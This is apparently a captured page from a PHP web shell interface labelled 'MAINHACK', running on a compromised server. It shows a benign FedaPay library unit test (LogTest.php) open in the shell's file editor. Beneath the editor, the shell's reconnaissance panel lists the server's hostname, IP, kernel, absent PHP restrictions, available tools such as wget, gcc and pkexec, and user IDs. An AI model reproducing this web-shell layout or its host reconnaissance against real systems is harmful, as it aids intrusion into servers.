[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: LogTest.php
<?php namespace Tests; class LogTest extends BaseTestCase { /** * Should return array of FedaPay\Log */ public function testShouldReturnLogs() { $body = [ 'v1/logs' => [[ 'id' => 1, 'klass' => 'v1/log', 'method' => 'GET', 'url' => '/url', 'status' => 200, 'ip_address' => '189.2.33.9', 'version' => '0.1.1', 'source' => 'FedaPay PhpLib', 'query' => '{"q":"search"}', 'body' => '{}', 'response' => '{}', 'account_id' => 1, 'created_at' => '2018-03-12T09:09:03.969Z', 'updated_at' => '2018-03-12T09:09:03.969Z' ]], 'meta' => ['page' => 1] ]; $this->mockRequest('get', '/v1/logs', [], $body); $object = \FedaPay\Log::all(); $this->assertInstanceOf(\FedaPay\FedaPayObject::class, $object); $this->assertInstanceOf(\FedaPay\FedaPayObject::class, $object->meta); $this->assertTrue(is_array($object->logs)); $this->assertInstanceOf(\FedaPay\Log::class, $object->logs[0]); $this->assertEquals(1, $object->logs[0]->id); $this->assertEquals('GET', $object->logs[0]->method); $this->assertEquals('/url', $object->logs[0]->url); $this->assertEquals(200, $object->logs[0]->status); $this->assertEquals('189.2.33.9', $object->logs[0]->ip_address); $this->assertEquals('0.1.1', $object->logs[0]->version); $this->assertEquals('FedaPay PhpLib', $object->logs[0]->source); $this->assertEquals('{"q":"search"}', $object->logs[0]->query); $this->assertEquals('{}', $object->logs[0]->body); $this->assertEquals('{}', $object->logs[0]->response); $this->assertEquals(1, $object->logs[0]->account_id); } /** * Should retrieve a Log */ public function testShouldRetrievedALog() { $body = [ 'v1/log' => [ 'id' => 1, 'klass' => 'v1/log', 'method' => 'GET', 'url' => '/url', 'status' => 200, 'ip_address' => '189.2.33.9', 'version' => '0.1.1', 'source' => 'FedaPay PhpLib', 'query' => '{"q":"search"}', 'body' => '{}', 'response' => '{}', 'account_id' => 1, 'created_at' => '2018-03-12T09:09:03.969Z', 'updated_at' => '2018-03-12T09:09:03.969Z' ] ]; $this->mockRequest('get', '/v1/logs/1', [], $body); $log = \FedaPay\Log::retrieve(1); $this->assertInstanceOf(\FedaPay\Log::class, $log); $this->assertEquals(1, $log->id); $this->assertEquals('GET', $log->method); $this->assertEquals('/url', $log->url); $this->assertEquals(200, $log->status); $this->assertEquals('189.2.33.9', $log->ip_address); $this->assertEquals('0.1.1', $log->version); $this->assertEquals('FedaPay PhpLib', $log->source); $this->assertEquals('{"q":"search"}', $log->query); $this->assertEquals('{}', $log->body); $this->assertEquals('{}', $log->response); $this->assertEquals(1, $log->account_id); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.66 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002